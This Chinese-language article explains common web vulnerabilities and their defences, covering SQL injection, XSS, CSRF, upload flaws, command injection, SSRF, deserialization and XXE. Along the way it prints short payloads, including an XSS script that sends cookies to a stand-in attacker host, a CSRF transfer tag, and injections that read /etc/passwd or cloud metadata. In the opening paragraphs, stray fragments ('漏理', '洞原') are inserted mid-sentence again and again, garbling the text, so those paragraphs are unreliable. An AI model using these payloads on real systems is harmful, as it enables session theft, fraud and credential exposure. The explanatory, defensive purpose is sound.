SQL注入能排进前十，漏理不是洞原因为技术多高明，而是漏理因为偷懒的开发太多了。去年某电商平台泄露用户数据，洞原根子就在一个拼接字符串的漏理查询语句上——攻击者传个 ' OR '1'='1，后台直接把所有订单吐了出来。洞原原理说白了就一句话：用户输入被当成代码执行了。漏理预编译能挡住九成以上，洞原但总有人图省事用拼接，漏理拦都拦不住。洞原

XSS跨站脚本，漏理本质是洞原浏览器太信任网页内容。你在评论区发一段 <script>fetch('http://hacker.com?漏理c='+document.cookie)</script>，如果网站没做转义，洞原每个看评论的漏理人都会悄悄把cookie送到攻击者服务器。存储型XSS最要命，打一次就永久留在数据库里。反射型得靠钓鱼链接，DOM型更隐蔽，完全在前端JS里触发，服务端日志都看不到痕迹。

CSRF这玩意儿利用的是“浏览器自动带cookie”这个机制。你登录了银行网站，cookie还在有效期，这时候点开一个恶意页面，里面藏个 <img src="http://bank.com/transfer?to=hacker&amount=10000">，浏览器二话不说带着你的身份就把钱转了。防御手段不复杂——加个随机token，或者检查Referer头。但很多老系统就是没加，因为“用户不会那么傻”。

文件上传漏洞，我见过最离谱的是直接把webshell传到web目录下，还保留了 .php 后缀。攻击者访问一下就能执行任意命令。有些系统只检查Content-Type，改个请求头就绕过了。还有的用黑名单，禁了 .php 却忘了 .phtml、.php5。白名单加随机重命名加存储到非web目录，三件套缺一不可。

越权分两种：水平越权和垂直越权。水平就是A用户能看B用户的订单，改一下URL里的ID就行。垂直是普通用户能干管理员的活，比如直接访问 /admin/deleteUser?id=123。根源在于只在界面隐藏了按钮，后端接口没做权限校验。我见过一个系统，前端把管理员菜单藏得严严实实，但接口地址写死在JS里，抓包一改就进去了。

命令注入和SQL注入是亲兄弟。PHP里 system("ping ".$_GET['ip'])，攻击者传 127.0.0.1; cat /etc/passwd，服务器就把密码文件读出来了。有些场景更隐蔽，比如图片处理库调用ImageMagick时传入了恶意文件名，也能触发命令执行。防御就一条：别让用户输入碰系统命令，非要用就白名单校验。

SSRF服务器端请求伪造，攻击者让服务器去访问内网资源。比如有个“从URL导入图片”的功能，传个 http://169.254.169.254/latest/meta-data/，云服务器的临时凭证就到手了。2019年Capital One那件事就是SSRF打穿元数据接口，一亿用户数据没了。限制协议、限制IP段、禁用跳转，能挡掉大部分。

反序列化漏洞在Java和PHP里都常见。Java的 ObjectInputStream.readObject() 如果反序列化了用户可控的数据，攻击者能构造利用链执行任意代码。WebLogic、Shiro、Fastjson都栽过。PHP的 unserialize() 配合魔术方法也能搞出POP链。这东西防御起来麻烦，最好别反序列化不可信数据，非要传就签名校验。

XXE是XML外部实体注入。很多解析器默认允许引用外部DTD，攻击者传个 <!ENTITY xxe SYSTEM "file:///etc/passwd">，文件内容就回显了。还能用来打内网、DoS。禁用外部实体解析就完事，但老代码里用 DocumentBuilderFactory 没设 disallow-doctype-decl 的比比皆是。

敏感信息泄露看着不起眼，但危害不小。Git仓库暴露 .git/config 能直接拉下源码，Swagger接口文档没鉴权能列出所有API，报错页面把堆栈和数据库版本打出来。我扫过一批站点，十个里有三个能直接下载 .env 文件，里面数据库密码明文躺着。这些不是漏洞的漏洞，往往成了突破口。